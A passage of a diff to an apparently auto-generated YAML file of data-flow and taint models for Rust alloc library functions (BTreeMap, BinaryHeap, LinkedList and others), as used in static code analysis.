"Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[crate::collections::linked_list::IterMut::len]", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::IterMut::tail]", "value", "dfc-generated"] + - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "<_ as crate::borrow::ToOwned>::clone_into", "Argument[self].Reference", "Argument[0].Reference", "value", "dfc-generated"] - - ["lang:alloc", "<_ as crate::borrow::ToOwned>::clone_into", "Argument[self]", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "<_ as crate::borrow::ToOwned>::to_owned", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "<_ as crate::borrow::ToOwned>::to_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "<_ as crate::vec::spec_from_elem::SpecFromElem>::from_elem", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::borrow::Cow::Borrowed(0)]", "ReturnValue.Field[crate::borrow::Cow::Borrowed(0)]", "value", "dfc-generated"] @@ -29,9 +33,10 @@ extensions: - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] - - ["lang:alloc", "::clone_from", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::try_from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::nth", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -45,9 +50,11 @@ extensions: - ["lang:alloc", "::from_non_null_in", "Argument[1]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_in", "Argument[1]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::into_inner", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::into_pin", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::into_pin", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] + - ["lang:alloc", "::try_new_in", "Argument[1]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::try_new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::try_new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -70,64 +77,63 @@ extensions: - ["lang:alloc", "::as_bytes", "Argument[self].Field[crate::bstr::ByteString(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Field[crate::collections::TryReserveError::kind]", "value", "dfc-generated"] - ["lang:alloc", "::kind", "Argument[self].Field[crate::collections::TryReserveError::kind].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::kind", "Argument[self].Field[crate::collections::TryReserveError::kind]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:alloc", "::kind", "Argument[self].Field[crate::collections::TryReserveError::kind]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Reference", "ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data]", "ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data]", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data]", "value", "dfc-generated"] + - ["lang:alloc", "::drain", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::collections::binary_heap::Drain::iter].Field[crate::vec::drain::Drain::vec]", "value", "dfc-generated"] - ["lang:alloc", "::drain_sorted", "Argument[self]", "ReturnValue.Field[crate::collections::binary_heap::DrainSorted::inner]", "value", "dfc-generated"] - ["lang:alloc", "::into_iter_sorted", "Argument[self]", "ReturnValue.Field[crate::collections::binary_heap::IntoIterSorted::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Field[crate::vec::Vec::len]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::peek_mut", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::binary_heap::PeekMut::heap]", "value", "dfc-generated"] - ["lang:alloc", "::as_inner", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_into_iter", "Argument[self].Field[crate::collections::binary_heap::IntoIter::iter]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::allocator", "Argument[self].Field[crate::collections::binary_heap::IntoIter::iter].Field[crate::vec::into_iter::IntoIter::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::binary_heap::Iter::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::new", "Argument[0].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[1].Field[crate::collections::btree::borrow::DormantMutRef::ptr]", "value", "dfc-generated"] + - ["lang:alloc", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter].Field[crate::iter::adapters::peekable::Peekable::iter]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:alloc", "::bulk_build_from_sorted_iter", "Argument[1]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:alloc", "::entry", "Argument[0]", "ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)].Field[crate::collections::btree::map::entry::VacantEntry::key]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[0]", "ReturnValue.Field[crate::collections::btree::map::ExtractIf::pred]", "value", "dfc-generated"] - - ["lang:alloc", "::extract_if_inner", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["lang:alloc", "::extract_if_inner", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::first_key_value", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::get", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::get_key_value", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::get_mut", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::get_or_insert_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:alloc", "::iter", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] - ["lang:alloc", "::iter_mut", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::IterMut::length]", "value", "dfc-generated"] + - ["lang:alloc", "::keys", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] + - ["lang:alloc", "::last_key_value", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::lower_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::lower_bound_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "value", "dfc-generated"] - - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::try_insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::btree::map::entry::OccupiedError::value]", "value", "dfc-generated"] - ["lang:alloc", "::upper_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::upper_bound_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::values", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] + - ["lang:alloc", "::values_mut", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::ValuesMut::inner].Field[crate::collections::btree::map::IterMut::length]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::btree::map::Cursor::current]", "ReturnValue.Field[crate::collections::btree::map::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::btree::map::Cursor::root]", "ReturnValue.Field[crate::collections::btree::map::Cursor::root]", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::with_mutable_key", "Argument[self].Field[crate::collections::btree::map::CursorMut::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::remove_next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::remove_prev", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::peek_next", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::peek_prev", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::peek", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::length].Reference", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::iter", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Iter::range].Reference", "ReturnValue.Field[crate::collections::btree::map::Iter::range]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Iter::range]", "ReturnValue.Field[crate::collections::btree::map::Iter::range]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::IntoKeys::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoKeys::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoKeys::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::IntoValues::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoValues::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoValues::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -139,8 +145,7 @@ extensions: - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Range::inner].Reference", "ReturnValue.Field[crate::collections::btree::map::Range::inner]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Range::inner]", "ReturnValue.Field[crate::collections::btree::map::Range::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -175,13 +180,21 @@ extensions: - ["lang:alloc", "::steal_right", "Argument[self].Field[crate::collections::btree::node::BalancingContext::left_child]", "ReturnValue.Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::awaken", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::awaken", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::awaken", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::cast_to_leaf_unchecked", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::cast_to_leaf_unchecked", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::cast_to_leaf_unchecked", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::consider_for_balancing", "Argument[self]", "ReturnValue.Field[crate::collections::btree::node::BalancingContext::parent]", "value", "dfc-generated"] - ["lang:alloc", "::descend", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::dormant", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::dormant", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::dormant", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::force", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] - ["lang:alloc", "::force", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::idx", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::into_node", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::left_edge", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] @@ -196,6 +209,10 @@ extensions: - ["lang:alloc", "::reborrow", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] - ["lang:alloc", "::reborrow", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::reborrow_mut", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::reborrow_mut", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::reborrow_mut", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] + - ["lang:alloc", "::remove", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[1].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::remove", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue.Field[1].Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::right_edge", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::right_kv", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] - ["lang:alloc", "::right_kv", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] @@ -238,7 +255,7 @@ extensions: - ["lang:alloc", "::search_node", "Argument[self]", "ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)].Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::search_tree_for_bifurcation", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::visit_nodes_in_order", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::SplitResult::kv]", "ReturnValue.Field[crate::collections::btree::node::SplitResult::kv]", "value", "dfc-generated"] + - ["lang:alloc", "::forget_node_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::from_range", "Argument[0].Field[crate::ops::range::Bound::Excluded(0)]", "ReturnValue.Field[crate::collections::btree::search::SearchBound::Excluded(0)]", "value", "dfc-generated"] - ["lang:alloc", "::from_range", "Argument[0].Field[crate::ops::range::Bound::Included(0)]", "ReturnValue.Field[crate::collections::btree::search::SearchBound::Included(0)]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::BTreeSet::map].Reference", "ReturnValue.Field[crate::collections::btree::set::BTreeSet::map]", "value", "dfc-generated"] @@ -247,16 +264,28 @@ extensions: - ["lang:alloc", "::clone_from", "Argument[0].Field[crate::collections::btree::set::BTreeSet::map]", "Argument[self].Field[crate::collections::btree::set::BTreeSet::map]", "value", "dfc-generated"] - ["lang:alloc", "::difference", "Argument[0]", "ReturnValue.Field[crate::collections::btree::set::Difference::inner].Field[crate::collections::btree::set::DifferenceInner::Search::other_set]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[0]", "ReturnValue.Field[crate::collections::btree::set::ExtractIf::pred]", "value", "dfc-generated"] + - ["lang:alloc", "::get_or_insert_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:alloc", "::intersection", "Argument[0]", "ReturnValue.Field[crate::collections::btree::set::Intersection::inner].Field[crate::collections::btree::set::IntersectionInner::Search::large_set]", "value", "dfc-generated"] - ["lang:alloc", "::intersection", "Argument[self]", "ReturnValue.Field[crate::collections::btree::set::Intersection::inner].Field[crate::collections::btree::set::IntersectionInner::Search::large_set]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::set::BTreeSet::map].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::with_mutable_key", "Argument[self].Field[crate::collections::btree::set::CursorMut::inner].Field[crate::collections::btree::map::CursorMut::inner]", "ReturnValue.Field[crate::collections::btree::set::CursorMutKey::inner]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::len", 